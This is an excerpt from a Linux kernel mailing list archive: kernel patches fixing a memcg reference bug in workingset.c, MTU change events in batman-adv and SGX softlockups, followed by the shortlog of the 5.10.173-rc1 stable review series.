[ 155758.137763] ? mem_cgroup_get_nr_swap_pages+0x3d/0xb0
[ 155758.148060] workingset_test_recent+0xda/0x1b0
[ 155758.157133] workingset_refault+0xca/0x1e0
[ 155758.165508] filemap_add_folio+0x4d/0x70
[ 155758.173538] page_cache_ra_unbounded+0xed/0x190
[ 155758.182919] page_cache_sync_ra+0xd6/0x1e0
[ 155758.191738] filemap_read+0x68d/0xdf0
[ 155758.199495] ? mlx5e_napi_poll+0x123/0x940
[ 155758.207981] ? __napi_schedule+0x55/0x90
[ 155758.216095] __x64_sys_pread64+0x1d6/0x2c0
[ 155758.224601] do_syscall_64+0x3d/0x80
[ 155758.232058] entry_SYSCALL_64_after_hwframe+0x46/0xb0
[ 155758.242473] RIP: 0033:0x7f62c29153b5
[ 155758.249938] Code: e8 48 89 75 f0 89 7d f8 48 89 4d e0 e8 b4 e6 f7 ff 41 89 c0 4c 8b 55 e0 48 8b 55 e8 48 8b 75 f0 8b 7d f8 b8 11 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 33 44 89 c7 48 89 45 f8 e8 e7 e6 f7 ff 48 8b
[ 155758.288005] RSP: 002b:00007f6234c5ffd0 EFLAGS: 00000293 ORIG_RAX: 0000000000000011
[ 155758.303474] RAX: ffffffffffffffda RBX: 00007f628c4e70c0 RCX: 00007f62c29153b5
[ 155758.318075] RDX: 000000000003c041 RSI: 00007f61d2986000 RDI: 0000000000000076
[ 155758.332678] RBP: 00007f6234c5fff0 R08: 0000000000000000 R09: 0000000064d5230c
[ 155758.347452] R10: 000000000027d450 R11: 0000000000000293 R12: 000000000003c041
[ 155758.362044] R13: 00007f61d2986000 R14: 00007f629e11b060 R15: 000000000027d450
[ 155758.376661] </TASK>
This patch fixes the issue by getting a local reference inside
unpack_shadow().
Fixes: f78dfc7b77d5 ("workingset: fix confusion around eviction vs refault container")
Signed-off-by: Nhat Pham <nphamcs(a)gmail.com>
Cc: stable(a)vger.kernel.org
---
mm/workingset.c | 57 ++++++++++++++++++++++++++++++-------------------
1 file changed, 35 insertions(+), 22 deletions(-)
diff --git a/mm/workingset.c b/mm/workingset.c
index da58a26d0d4d..c20b26bb6cb1 100644
--- a/mm/workingset.c
+++ b/mm/workingset.c
@@ -206,10 +206,11 @@ static void *pack_shadow(int memcgid, pg_data_t *pgdat, unsigned long eviction,
return xa_mk_value(eviction);
}
-static void unpack_shadow(void *shadow, int *memcgidp, pg_data_t **pgdat,
- unsigned long *evictionp, bool *workingsetp)
+static void unpack_shadow(void *shadow, struct mem_cgroup **memcgp,
+ pg_data_t **pgdat, unsigned long *evictionp, bool *workingsetp)
{
unsigned long entry = xa_to_value(shadow);
+ struct mem_cgroup *memcg;
int memcgid, nid;
bool workingset;
@@ -220,7 +221,24 @@ static void unpack_shadow(void *shadow, int *memcgidp, pg_data_t **pgdat,
memcgid = entry & ((1UL << MEM_CGROUP_ID_SHIFT) - 1);
entry >>= MEM_CGROUP_ID_SHIFT;
- *memcgidp = memcgid;
+ /*
+ * Look up the memcg associated with the stored ID. It might
+ * have been deleted since the folio's eviction.
+ *
+ * Note that in rare events the ID could have been recycled
+ * for a new cgroup that refaults a shared folio. This is
+ * impossible to tell from the available data. However, this
+ * should be a rare and limited disturbance, and activations
+ * are always speculative anyway. Ultimately, it's the aging
+ * algorithm's job to shake out the minimum access frequency
+ * for the active cache.
+ */
+ memcg = mem_cgroup_from_id(memcgid);
+ if (memcg && css_tryget(&memcg->css))
+ *memcgp = memcg;
+ else
+ *memcgp = NULL;
+
*pgdat = NODE_DATA(nid);
*evictionp = entry;
*workingsetp = workingset;
@@ -262,15 +280,16 @@ static void *lru_gen_eviction(struct folio *folio)
static bool lru_gen_test_recent(void *shadow, bool file, struct lruvec **lruvec,
unsigned long *token, bool *workingset)
{
- int memcg_id;
unsigned long min_seq;
struct mem_cgroup *memcg;
struct pglist_data *pgdat;
- unpack_shadow(shadow, &memcg_id, &pgdat, token, workingset);
+ unpack_shadow(shadow, &memcg, &pgdat, token, workingset);
+ if (!mem_cgroup_disabled() && !memcg)
+ return false;
- memcg = mem_cgroup_from_id(memcg_id);
*lruvec = mem_cgroup_lruvec(memcg, pgdat);
+ mem_cgroup_put(memcg);
min_seq = READ_ONCE((*lruvec)->lrugen.min_seq[file]);
return (*token >> LRU_REFS_WIDTH) == (min_seq & (EVICTION_MASK >> LRU_REFS_WIDTH));
@@ -421,36 +440,29 @@ bool workingset_test_recent(void *shadow, bool file, bool *workingset)
unsigned long refault_distance;
unsigned long workingset_size;
unsigned long refault;
- int memcgid;
struct pglist_data *pgdat;
unsigned long eviction;
if (lru_gen_enabled())
return lru_gen_test_recent(shadow, file, &eviction_lruvec, &eviction, workingset);
- unpack_shadow(shadow, &memcgid, &pgdat, &eviction, workingset);
- eviction <<= bucket_order;
-
+ unpack_shadow(shadow, &eviction_memcg, &pgdat, &eviction, workingset);
/*
- * Look up the memcg associated with the stored ID. It might
- * have been deleted since the folio's eviction.
+ * When memcg is enabled, we only get !memcg here if the
+ * eviction group has been deleted. In that case, ignore
+ * the refault.
*
- * Note that in rare events the ID could have been recycled
- * for a new cgroup that refaults a shared folio. This is
- * impossible to tell from the available data. However, this
- * should be a rare and limited disturbance, and activations
- * are always speculative anyway. Ultimately, it's the aging
- * algorithm's job to shake out the minimum access frequency
- * for the active cache.
+ * When memcg is disabled, we always get NULL since there
+ * is no root_mem_cgroup for !CONFIG_MEMCG. Continue; the
+ * mem_cgroup_lruvec() will get us the global lruvec.
*
- * XXX: On !CONFIG_MEMCG, this will always return NULL; it
- * would be better if the root_mem_cgroup existed in all
+ * XXX: It would be better if the root_mem_cgroup existed in all
* configurations instead.
*/
- eviction_memcg = mem_cgroup_from_id(memcgid);
if (!mem_cgroup_disabled() && !eviction_memcg)
return false;
+ eviction <<= bucket_order;
eviction_lruvec = mem_cgroup_lruvec(eviction_memcg, pgdat);
refault = atomic_long_read(&eviction_lruvec->nonresident_age);
@@ -493,6 +505,7 @@ bool workingset_test_recent(void *shadow, bool file, bool *workingset)
}
}
+ mem_cgroup_put(eviction_memcg);
return refault_distance <= workingset_size;
}
--
2.34.1
2 years, 4 months
- 6
- 26
[PATCH 1/5] batman-adv: Trigger events for auto adjusted MTU
by Simon Wunderlich
From: Sven Eckelmann <sven(a)narfation.org>
If an interface changes the MTU, it is expected that an NETDEV_PRECHANGEMTU
and NETDEV_CHANGEMTU notification events is triggered. This worked fine for
.ndo_change_mtu based changes because core networking code took care of it.
But for auto-adjustments after hard-interfaces changes, these events were
simply missing.
Due to this problem, non-batman-adv components weren't aware of MTU changes
and thus couldn't perform their own tasks correctly.
Fixes: c6c8fea29769 ("net: Add batman-adv meshing protocol")
Cc: stable(a)vger.kernel.org
Signed-off-by: Sven Eckelmann <sven(a)narfation.org>
Signed-off-by: Simon Wunderlich <sw(a)simonwunderlich.de>
---
net/batman-adv/hard-interface.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/net/batman-adv/hard-interface.c b/net/batman-adv/hard-interface.c
index 41c1ad33d009..ae5762af0146 100644
--- a/net/batman-adv/hard-interface.c
+++ b/net/batman-adv/hard-interface.c
@@ -630,7 +630,7 @@ int batadv_hardif_min_mtu(struct net_device *soft_iface)
*/
void batadv_update_min_mtu(struct net_device *soft_iface)
{
- soft_iface->mtu = batadv_hardif_min_mtu(soft_iface);
+ dev_set_mtu(soft_iface, batadv_hardif_min_mtu(soft_iface));
/* Check if the local translate table should be cleaned up to match a
* new (and smaller) MTU.
--
2.39.2
2 years, 4 months
- 2
- 1
[PATCHv3] x86/sgx: Avoid softlockup from sgx_vepc_release
by Jack Wang
We hit softlocup with following call trace:
? asm_sysvec_apic_timer_interrupt+0x16/0x20
xa_erase+0x21/0xb0
? sgx_free_epc_page+0x20/0x50
sgx_vepc_release+0x75/0x220
__fput+0x89/0x250
task_work_run+0x59/0x90
do_exit+0x337/0x9a0
Similar like commit 8795359e35bc ("x86/sgx: Silence softlockup detection
when releasing large enclaves"). The test system has 64GB of enclave memory,
and all assigned to a single VM. Release vepc take longer time and triggers
the softlockup warning.
Add cond_resched() to give other tasks a chance to run and placate
the softlockup detector.
Cc: Jarkko Sakkinen <jarkko(a)kernel.org>
Cc: Haitao Huang <haitao.huang(a)linux.intel.com>
Cc: stable(a)vger.kernel.org
Fixes: 540745ddbc70 ("x86/sgx: Introduce virtual EPC for use by KVM guests")
Reported-by: Yu Zhang <yu.zhang(a)ionos.com>
Tested-by: Yu Zhang <yu.zhang(a)ionos.com>
Acked-by: Haitao Huang <haitao.huang(a)linux.intel.com>
Reviewed-by: Jarkko Sakkinen <jarkko(a)kernel.org>
Signed-off-by: Jack Wang <jinpu.wang(a)ionos.com>
---
v3:
* improve commit message as suggested.
* Add cond_resched() to the 3rd loop too.
arch/x86/kernel/cpu/sgx/virt.c | 3 +++
1 file changed, 3 insertions(+)
diff --git a/arch/x86/kernel/cpu/sgx/virt.c b/arch/x86/kernel/cpu/sgx/virt.c
index c3e37eaec8ec..7aaa3652e31d 100644
--- a/arch/x86/kernel/cpu/sgx/virt.c
+++ b/arch/x86/kernel/cpu/sgx/virt.c
@@ -204,6 +204,7 @@ static int sgx_vepc_release(struct inode *inode, struct file *file)
continue;
xa_erase(&vepc->page_array, index);
+ cond_resched();
}
/*
@@ -222,6 +223,7 @@ static int sgx_vepc_release(struct inode *inode, struct file *file)
list_add_tail(&epc_page->list, &secs_pages);
xa_erase(&vepc->page_array, index);
+ cond_resched();
}
/*
@@ -243,6 +245,7 @@ static int sgx_vepc_release(struct inode *inode, struct file *file)
if (sgx_vepc_free_page(epc_page))
list_add_tail(&epc_page->list, &secs_pages);
+ cond_resched();
}
if (!list_empty(&secs_pages))
--
2.34.1
2 years, 4 months
- 3
- 2
[PATCH 5.10 000/529] 5.10.173-rc1 review
by Greg Kroah-Hartman
This is the start of the stable review cycle for the 5.10.173 release.
There are 529 patches in this series, all will be posted as a response
to this one. If anyone has any issues with these being applied, please
let me know.
Responses should be made by Sun, 12 Mar 2023 13:36:38 +0000.
Anything received after that time might be too late.
The whole patch series can be found in one patch at:
https://www.kernel.org/pub/linux/kernel/v5.x/stable-review/patch-5.10.173-r…
or in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git linux-5.10.y
and the diffstat can be found below.
thanks,
greg k-h
-------------
Pseudo-Shortlog of commits:
Greg Kroah-Hartman <gregkh(a)linuxfoundation.org>
Linux 5.10.173-rc1
Stefan Haberland <sth(a)linux.ibm.com>
s390/dasd: add missing discipline function
Yang Yingliang <yangyingliang(a)huawei.com>
usb: gadget: uvc: fix missing mutex_unlock() if kstrtou8() fails
Miaoqian Lin <linmq006(a)gmail.com>
malidp: Fix NULL vs IS_ERR() checking
Sreekanth Reddy <sreekanth.reddy(a)broadcom.com>
scsi: mpt3sas: Remove usage of dma_get_required_mask() API
Sreekanth Reddy <sreekanth.reddy(a)broadcom.com>
scsi: mpt3sas: re-do lost mpt3sas DMA mask fix
Sreekanth Reddy <sreekanth.reddy(a)broadcom.com>
scsi: mpt3sas: Don't change DMA mask while reallocating pools
Salvatore Bonaccorso <carnil(a)debian.org>
Revert "scsi: mpt3sas: Fix return value check of dma_get_required_mask()"
Ricardo Ribalda <ribalda(a)chromium.org>
media: uvcvideo: Fix race condition with usb_kill_urb
Ricardo Ribalda <ribalda(a)chromium.org>
media: uvcvideo: Provide sync and async uvc_ctrl_status_event
Harshit Mogalapalli <harshit.m.mogalapalli(a)oracle.com>
drm/virtio: Fix error code in virtio_gpu_object_shmem_init()
Kuniyuki Iwashima <kuniyu(a)amazon.com>
tcp: Fix listen() regression in 5.10.163
Nguyen Dinh Phi <phind.uet(a)gmail.com>
Bluetooth: hci_sock: purge socket queues in the destruct() callback
Imre Deak <imre.deak(a)intel.com>
drm/display/dp_mst: Fix down message handling after a packet reception error
Imre Deak <imre.deak(a)intel.com>
drm/display/dp_mst: Fix down/up message handling after sink disconnect
Linus Torvalds <torvalds(a)linux-foundation.org>
x86/resctl: fix scheduler confusion with 'current'
Valentin Schneider <valentin.schneider(a)arm.com>
x86/resctrl: Apply READ_ONCE/WRITE_ONCE to task_struct.{rmid,closid}
Jakub Kicinski <kuba(a)kernel.org>
net: tls: avoid hanging tasks on the tx_lock
Richard Fitzgerald <rf(a)opensource.cirrus.com>
soundwire: cadence: Drain the RX FIFO after an IO timeout
Richard Fitzgerald <rf(a)opensource.cirrus.com>
soundwire: cadence: Remove wasted space in response_buf
Jiapeng Chong <jiapeng.chong(a)linux.alibaba.com>
phy: rockchip-typec: Fix unsigned comparison with less than zero
Mengyuan Lou <mengyuanlou(a)net-swift.com>
PCI: Add ACS quirk for Wangxun NICs
Huacai Chen <chenhuacai(a)loongson.cn>
PCI: loongson: Add more devices that need MRRS quirk
Greg Kroah-Hartman <gregkh(a)linuxfoundation.org>
kernel/fail_function: fix memory leak with using debugfs_lookup()
Mika Westerberg <mika.westerberg(a)linux.intel.com>
PCI: Take other bus devices into account when distributing resources
Mika Westerberg <mika.westerberg(a)linux.intel.com>
PCI: Align extra resources for hotplug bridges properly
Daniel Scally <dan.scally(a)ideasonboard.com>
usb: gadget: uvc: Make bSourceID read/write
Daniel Scally <dan.scally(a)ideasonboard.com>
usb: uvc: Enumerate valid values for color matching
Kees Cook <keescook(a)chromium.org>
USB: ene_usb6250: Allocate enough memory for full object
Kees Cook <keescook(a)chromium.org>
usb: host: xhci: mvebu: Iterate over array indexes instead of using pointer math
Huacai Chen <chenhuacai(a)loongson.cn>
PCI: loongson: Prevent LS7A MRRS increases
Harshit Mogalapalli <harshit.m.mogalapalli(a)oracle.com>
iio: accel: mma9551_core: Prevent uninitialized variable in mma9551_read_config_word()
Harshit Mogalapalli <harshit.m.mogalapalli(a)oracle.com>
iio: accel: mma9551_core: Prevent uninitialized variable in mma9551_read_status_word()
Yulong Zhang <yulong.zhang(a)metoak.net>
tools/iio/iio_utils:fix memory leak
Alexander Usyskin <alexander.usyskin(a)intel.com>
mei: bus-fixup:upon error print return values of send and receive
Isaac True <isaac.true(a)canonical.com>
serial: sc16is7xx: setup GPIO controller later in probe
Sherry Sun <sherry.sun(a)nxp.com>
tty: serial: fsl_lpuart: disable the CTS when send break signal
Sven Schnelle <svens(a)linux.ibm.com>
tty: fix out-of-bounds access in tty_driver_lookup_tty()
Yuan Can <yuancan(a)huawei.com>
staging: emxx_udc: Add checks for dma_alloc_coherent()
Kees Cook <keescook(a)chromium.org>
media: uvcvideo: Silence memcpy() run-time false positive warnings
Ricardo Ribalda <ribalda(a)chromium.org>
media: uvcvideo: Quirk for autosuspend in Logitech B910 and C910
Guenter Roeck <linux(a)roeck-us.net>
media: uvcvideo: Handle errors from calls to usb_string
Ricardo Ribalda <ribalda(a)chromium.org>
media: uvcvideo: Handle cameras with invalid descriptors
Dean Luick <dean.luick(a)cornelisnetworks.com>
IB/hfi1: Update RMT size calculation
Liang He <windhl(a)126.com>
mfd: arizona: Use pm_runtime_resume_and_get() to prevent refcnt leak
Souradeep Chowdhury <quic_schowdhu(a)quicinc.com>
bootconfig: Increase max nodes of bootconfig from 1024 to 8192 for DCC support
Darrell Kavanagh <darrell.kavanagh(a)gmail.com>
firmware/efi sysfb_efi: Add quirk for Lenovo IdeaPad Duet 3
Jia-Ju Bai <baijiaju1990(a)gmail.com>
tracing: Add NULL checks for buffer in ring_buffer_free_read_page()
Randy Dunlap <rdunlap(a)infradead.org>
thermal: intel: BXT_PMIC: select REGMAP instead of depending on it
Dan Carpenter <error27(a)gmail.com>
thermal: intel: quark_dts: fix error pointer dereference
Arnd Bergmann <arnd(a)arndb.de>
ASoC: zl38060 add gpiolib dependency
Mark Brown <broonie(a)kernel.org>
ASoC: zl38060: Remove spurious gpiolib select
Nuno Sá <nuno.sa(a)analog.com>
ASoC: adau7118: don't disable regulators on device unbind
Zhong Jinghua <zhongjinghua(a)huawei.com>
loop: loop_set_status_from_info() check before assignment
Arnd Bergmann <arnd(a)arndb.de>
scsi: ipr: Work around fortify-string warning
Samuel Holland <samuel(a)sholland.org>
rtc: sun6i: Always export the internal oscillator
George Kennedy <george.kennedy(a)oracle.com>
vc_screen: modify vcs_size() handling in vcs_read()
Eric Dumazet <edumazet(a)google.com>
tcp: tcp_check_req() can be called from process context
Krzysztof Kozlowski <krzysztof.kozlowski(a)linaro.org>
ARM: dts: spear320-hmi: correct STMPE GPIO compatible
Pedro Tammela <pctammela(a)mojatatu.com>
net/sched: act_sample: fix action bind logic
Fedor Pchelkin <pchelkin(a)ispras.ru>
nfc: fix memory leak of se_io context in nfc_genl_se_io
Maor Dickman <maord(a)nvidia.com>
net/mlx5: Geneve, Fix handling of Geneve object id as error code
Zhengchao Shao <shaozhengchao(a)huawei.com>
9p/rdma: unmap receive dma buffer in rdma_request()/post_recv()
Juergen Gross <jgross(a)suse.com>
9p/xen: fix connection sequence
Juergen Gross <jgross(a)suse.com>
9p/xen: fix version parsing
Eric Dumazet <edumazet(a)google.com>
net: fix __dev_kfree_skb_any() vs drop monitor
Xin Long <lucien.xin(a)gmail.com>
sctp: add a refcnt in sctp_stream_priorities to avoid a nested loop
Lu Wei <luwei32(a)huawei.com>
ipv6: Add lwtunnel encap size of all siblings in nexthop calculation
Florian Westphal <fw(a)strlen.de>
netfilter: ebtables: fix table blob use-after-free
Hangyu Hua <hbh25y(a)gmail.com>
netfilter: ctnetlink: fix possible refcount leak in ctnetlink_create_conntrack()
Li Hua <hucool.lihua(a)huawei.com>
watchdog: pcwd_usb: Fix attempting to access uninitialized memory
Chen Jun <chenjun102(a)huawei.com>
watchdog: Fix kmemleak in watchdog_cdev_register
ruanjinjie <ruanjinjie(a)huawei.com>
watchdog: at91sam9_wdt: use devm_request_irq to avoid missing free_irq() in error path
Ammar Faizi <ammarfaizi2(a)gnuweeb.org>
x86: um: vdso: Add '%rcx' and '%r11' to the syscall clobber list
Zhihao Cheng <chengzhihao1(a)huawei.com>
ubi: ubi_wl_put_peb: Fix infinite loop when wear-leveling work failed
Zhihao Cheng <chengzhihao1(a)huawei.com>
ubi: Fix UAF wear-leveling entry in eraseblk_count_seq_show()
Zhihao Cheng <chengzhihao1(a)huawei.com>
ubi: fastmap: Fix missed fm_anchor PEB in wear-leveling after disabling fastmap
Zhihao Cheng <chengzhihao1(a)huawei.com>
ubifs: ubifs_writepage: Mark page dirty after writing inode failed
Zhihao Cheng <chengzhihao1(a)huawei.com>
ubifs: dirty_cow_znode: Fix memleak in error handling path
Zhihao Cheng <chengzhihao1(a)huawei.com>
ubifs: Re-statistic cleaned znode count if commit failed
Yang Yingliang <yangyingliang(a)huawei.com>
ubi: Fix possible null-ptr-deref in ubi_free_volume()
Li Zetao <lizetao1(a)huawei.com>
ubifs: Fix memory leak in alloc_wbufs()
Li Zetao <lizetao1(a)huawei.com>
ubi: Fix unreferenced object reported by kmemleak in ubi_resize_volume()
Li Zetao <lizetao1(a)huawei.com>
ubi: Fix use-after-free when volume resizing failed
Zhihao Cheng <chengzhihao1(a)huawei.com>
ubifs: Reserve one leb for each journal head while doing budget
Zhihao Cheng <chengzhihao1(a)huawei.com>
ubifs: do_rename: Fix wrong space budget when target inode's nlink > 1
Zhihao Cheng <chengzhihao1(a)huawei.com>
ubifs: Fix wrong dirty space budget for dirty inode
Zhihao Cheng <chengzhihao1(a)huawei.com>
ubifs: Rectify space budget for ubifs_xrename()
Zhihao Cheng <chengzhihao1(a)huawei.com>
ubifs: Rectify space budget for ubifs_symlink() if symlink is encrypted
Li Hua <hucool.lihua(a)huawei.com>
ubifs: Fix build errors as symbol undefined
George Kennedy <george.kennedy(a)oracle.com>
ubi: ensure that VID header offset + VID header size <= alloc, size
Xiang Yang <xiangyang3(a)huawei.com>
um: vector: Fix memory leak in vector_config
Alexander Potapenko <glider(a)google.com>
fs: f2fs: initialize fsdata in pagecache_write()
Eric Biggers <ebiggers(a)google.com>
f2fs: use memcpy_{to,from}_page() where possible
Fabrice Gasnier <fabrice.gasnier(a)foss.st.com>
pwm: stm32-lp: fix the check on arr and cmp registers update
Emil Renner Berthing <emil.renner.berthing(a)canonical.com>
pwm: sifive: Always let the first pwm_apply_state succeed
Uwe Kleine-König <u.kleine-koenig(a)pengutronix.de>
pwm: sifive: Reduce time the controller lock is held
Miaoqian Lin <linmq006(a)gmail.com>
objtool: Fix memory leak in create_static_call_sections()
Liu Shixin via Jfs-discussion <jfs-discussion(a)lists.sourceforge.net>
fs/jfs: fix shift exponent db_agl2size negative
Jamal Hadi Salim <jhs(a)mojatatu.com>
net/sched: Retire tcindex classifier
Dmitry Goncharov <dgoncharov(a)users.sf.net>
kbuild: Port silent mode detection to future gnu make.
Jonas Karlman <jonas(a)kwiboo.se>
pinctrl: rockchip: fix reading pull type on rk3568
Jonas Karlman <jonas(a)kwiboo.se>
pinctrl: rockchip: fix mux route data for rk3568
Arnd Bergmann <arnd(a)arndb.de>
wifi: ath9k: use proper statements in conditionals
Robert Marko <robimarko(a)gmail.com>
arm64: dts: qcom: ipq8074: fix Gen2 PCIe QMP PHY
Jani Nikula <jani.nikula(a)intel.com>
drm/edid: fix AVI infoframe aspect ratio handling
Mark Hawrylak <mark.hawrylak(a)gmail.com>
drm/radeon: Fix eDP for single-display iMac11,2
Mavroudis Chatzilaridis <mavchatz(a)protonmail.com>
drm/i915/quirks: Add inverted backlight quirk for HP 14-r206nv
Steve Sistare <steven.sistare(a)oracle.com>
vfio/type1: prevent underflow of locked_vm via exec()
Damien Le Moal <damien.lemoal(a)opensource.wdc.com>
PCI: Avoid FLR for AMD FCH AHCI adapters
Lukas Wunner <lukas(a)wunner.de>
PCI: hotplug: Allow marking devices as disconnected during bind/unbind
Lukas Wunner <lukas(a)wunner.de>
PCI/PM: Observe reset delay irrespective of bridge_d3
Andy Chiu <andy.chiu(a)sifive.com>
riscv: jump_label: Fixup unaligned arch_static_branch function
Tomas Henzl <thenzl(a)redhat.com>
scsi: ses: Fix slab-out-of-bounds in ses_intf_remove()
Tomas Henzl <thenzl(a)redhat.com>
scsi: ses: Fix possible desc_ptr out-of-bounds accesses
Tomas Henzl <thenzl(a)redhat.com>
scsi: ses: Fix possible addl_desc_ptr out-of-bounds accesses
Tomas Henzl <thenzl(a)redhat.com>
scsi: ses: Fix slab-out-of-bounds in ses_enclosure_data_process()
James Bottomley <jejb(a)linux.ibm.com>
scsi: ses: Don't attach if enclosure has no components
Quinn Tran <qutran(a)marvell.com>
scsi: qla2xxx: Fix erroneous link down
Arun Easi <aeasi(a)marvell.com>
scsi: qla2xxx: Fix DMA-API call trace on NVMe LS requests
Quinn Tran <qutran(a)marvell.com>
scsi: qla2xxx: Fix link failure in NPIV environment
Mukesh Ojha <quic_mojha(a)quicinc.com>
ring-buffer: Handle race between rb_move_tail and rb_check_pages
Steven Rostedt <rostedt(a)goodmis.org>
ktest.pl: Add RUN_TIMEOUT option with default unlimited
Steven Rostedt <rostedt(a)goodmis.org>
ktest.pl: Fix missing "end_monitor" when machine check fails
Steven Rostedt <rostedt(a)goodmis.org>
ktest.pl: Give back console on Ctrt^C on monitor
Yin Fengwei <fengwei.yin(a)intel.com>
mm/thp: check and bail out if page in deferred queue already
Johannes Weiner <hannes(a)cmpxchg.org>
mm: memcontrol: deprecate charge moving
John Ogness <john.ogness(a)linutronix.de>
docs: gdbmacros: print newest record
Chen-Yu Tsai <wenst(a)chromium.org>
remoteproc/mtk_scp: Move clk ops outside send_lock
Sakari Ailus <sakari.ailus(a)linux.intel.com>
media: ipu3-cio2: Fix PM runtime usage_count in driver unbind
Elvira Khabirova <lineprinter0(a)gmail.com>
mips: fix syscall_get_nr
Dan Williams <dan.j.williams(a)intel.com>
dax/kmem: Fix leak of memory-hotplug resources
Al Viro <viro(a)zeniv.linux.org.uk>
alpha: fix FEN fault handling
Ilya Dryomov <idryomov(a)gmail.com>
rbd: avoid use-after-free in do_rbd_add() when rbd_dev_create() fails
Krzysztof Kozlowski <krzysztof.kozlowski(a)linaro.org>
ARM: dts: exynos: correct TMU phandle in Odroid HC1
Krzysztof Kozlowski <krzysztof.kozlowski(a)linaro.org>
ARM: dts: exynos: correct TMU phandle in Odroid XU
Krzysztof Kozlowski <krzysztof.kozlowski(a)linaro.org>
ARM: dts: exynos: correct TMU phandle in Exynos5250
Krzysztof Kozlowski <krzysztof.kozlowski(a)linaro.org>
ARM: dts: exynos: correct TMU phandle in Odroid XU3 family
Krzysztof Kozlowski <krzysztof.kozlowski(a)linaro.org>
ARM: dts: exynos: correct TMU phandle in Exynos4
Krzysztof Kozlowski <krzysztof.kozlowski(a)linaro.org>
ARM: dts: exynos: correct TMU phandle in Exynos4210
Mikulas Patocka <mpatocka(a)redhat.com>
dm flakey: don't corrupt the zero page
Mikulas Patocka <mpatocka(a)redhat.com>
dm flakey: fix logic when corrupting a bio
Srinivas Pandruvada <srinivas.pandruvada(a)linux.intel.com>
thermal: intel: powerclamp: Fix cur_state for multi package system
Alexander Wetzel <alexander(a)wetzel-home.de>
wifi: cfg80211: Fix use after free for wext
Bitterblue Smith <rtl8821cerfe2(a)gmail.com>
wifi: rtl8xxxu: Use a longer retry limit of 48
Pingfan Liu <piliu(a)redhat.com>
dm: add cond_resched() to dm_wq_work()
Louis Rannou <lrannou(a)baylibre.com>
mtd: spi-nor: Fix shift-out-of-bounds in spi_nor_set_erase_type
Jun Nie <jun.nie(a)linaro.org>
ext4: refuse to create ea block when umounted
Jun Nie <jun.nie(a)linaro.org>
ext4: optimize ea_inode block expansion
Zhihao Cheng <chengzhihao1(a)huawei.com>
jbd2: fix data missing when reusing bh which is ready to be checkpointed
Łukasz Stelmach <l.stelmach(a)samsung.com>
ALSA: hda/realtek: Add quirk for HP EliteDesk 800 G6 Tower PC
Dmitry Fomin <fomindmitriyfoma(a)mail.ru>
ALSA: ice1712: Do not left ice->gpio_mutex locked in aureon_add_controls()
Jens Axboe <axboe(a)kernel.dk>
io_uring/poll: allow some retries for poll triggering spuriously
David Lamparter <equinox(a)diac24.net>
io_uring: remove MSG_NOSIGNAL from recvmsg
Pavel Begunkov <asml.silence(a)gmail.com>
io_uring/rsrc: disallow multi-source reg buffers
Jens Axboe <axboe(a)kernel.dk>
io_uring: add a conditional reschedule to the IOPOLL cancelation loop
Jens Axboe <axboe(a)kernel.dk>
io_uring: mark task TASK_RUNNING before handling resume/task work
Jens Axboe <axboe(a)kernel.dk>
io_uring: handle TIF_NOTIFY_RESUME when checking for task_work
Johan Hovold <johan+linaro(a)kernel.org>
irqdomain: Drop bogus fwspec-mapping error handling
Johan Hovold <johan+linaro(a)kernel.org>
irqdomain: Fix disassociation race
Johan Hovold <johan+linaro(a)kernel.org>
irqdomain: Fix association race
Roberto Sassu <roberto.sassu(a)huawei.com>
ima: Align ima_file_mmap() parameters with mmap_file LSM hook
Jens Axboe <axboe(a)kernel.dk>
brd: return 0/-error from brd_insert_page()
KP Singh <kpsingh(a)kernel.org>
Documentation/hw-vuln: Document the interaction between IBRS and STIBP
KP Singh <kpsingh(a)kernel.org>
x86/speculation: Allow enabling STIBP with legacy IBRS
Borislav Petkov (AMD) <bp(a)alien8.de>
x86/microcode/AMD: Fix mixed steppings support
Borislav Petkov (AMD) <bp(a)alien8.de>
x86/microcode/AMD: Add a @cpu parameter to the reloading functions
Borislav Petkov (AMD) <bp(a)alien8.de>
x86/microcode/amd: Remove load_microcode_amd()'s bsp parameter
Yang Jihong <yangjihong1(a)huawei.com>
x86/kprobes: Fix arch_check_optimized_kprobe check within optimized_kprobe range
Yang Jihong <yangjihong1(a)huawei.com>
x86/kprobes: Fix __recover_optprobed_insn check optimizing logic
Sean Christopherson <seanjc(a)google.com>
x86/reboot: Disable SVM, not just VMX, when stopping CPUs
Sean Christopherson <seanjc(a)google.com>
x86/reboot: Disable virtualization in an emergency if SVM is supported
Sean Christopherson <seanjc(a)google.com>
x86/crash: Disable virt in core NMI crash handler to avoid double shootdown
Sean Christopherson <seanjc(a)google.com>
x86/virt: Force GIF=1 prior to disabling SVM (for reboot flows)
Nico Boehr <nrb(a)linux.ibm.com>
KVM: s390: disable migration mode when dirty tracking is disabled
Sean Christopherson <seanjc(a)google.com>
KVM: x86: Inject #GP if WRMSR sets reserved bits in APIC Self-IPI
Sean Christopherson <seanjc(a)google.com>
KVM: Destroy target device if coalesced MMIO unregistration fails
Jan Kara <jack(a)suse.cz>
udf: Fix file corruption when appending just after end of preallocated extent
Jan Kara <jack(a)suse.cz>
udf: Detect system inodes linked into directory hierarchy
Jan Kara <jack(a)suse.cz>
udf: Preserve link count of system files
Jan Kara <jack(a)suse.cz>
udf: Do not update file length for failed writes to inline files
Jan Kara <jack(a)suse.cz>
udf: Do not bother merging very long extents
Jan Kara <jack(a)suse.cz>
udf: Truncate added extents on failed expansion
Heming Zhao via Ocfs2-devel <ocfs2-devel(a)oss.oracle.com>
ocfs2: fix non-auto defrag path not working issue
Heming Zhao via Ocfs2-devel <ocfs2-devel(a)oss.oracle.com>
ocfs2: fix defrag path triggering jbd2 ASSERT
Eric Biggers <ebiggers(a)google.com>
f2fs: fix cgroup writeback accounting with fs-layer encryption
Eric Biggers <ebiggers(a)google.com>
f2fs: fix information leak in f2fs_move_inline_dirents()
Yuezhang Mo <Yuezhang.Mo(a)sony.com>
exfat: fix inode->i_blocks for non-512 byte sector size device
Sungjong Seo <sj1557.seo(a)samsung.com>
exfat: redefine DIR_DELETED as the bad cluster number
Yuezhang Mo <Yuezhang.Mo(a)sony.com>
exfat: fix unexpected EOF while reading dir
Yuezhang Mo <Yuezhang.Mo(a)sony.com>
exfat: fix reporting fs error when reading dir beyond EOF
Dongliang Mu <mudongliangabcd(a)gmail.com>
fs: hfsplus: fix UAF issue in hfsplus_put_super
